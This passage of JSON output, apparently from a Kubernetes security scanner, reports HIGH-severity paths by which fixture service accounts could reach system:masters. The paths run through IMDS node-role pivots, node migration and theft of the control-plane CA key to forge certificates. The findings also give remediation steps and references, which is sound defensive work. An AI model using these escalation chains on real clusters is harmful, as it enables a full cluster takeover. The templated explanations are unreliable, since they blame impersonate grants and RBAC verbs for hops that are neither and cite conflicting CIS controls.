    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-orphan` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-orphan` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-orphan` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-orphan",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-orphan` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-orphan`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-orphan`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-orphan`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-orphan",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-orphan",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/lp-fixtures/sa-lp-wildcard:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-wildcard` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-wildcard` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-wildcard`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-wildcard",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-wildcard",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/netpol-imds/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/netpol-imds/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/netpol-imds/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/netpol-imds/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS\n  2. `ServiceAccount/netpol-imds/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "netpol-imds"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/netpol-imds/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/netpol-imds/default`.",
      "Acting as `ServiceAccount/netpol-imds/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/netpol-imds/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "netpol-imds"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "netpol-imds"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/privesc-fixtures/sa-node-migrate:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-node-migrate` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-node-migrate` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-node-migrate` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/privesc-fixtures/sa-node-migrate` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-node-migrate",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-node-migrate` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-node-migrate`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-node-migrate`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-node-migrate`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-node-migrate",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-node-migrate",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
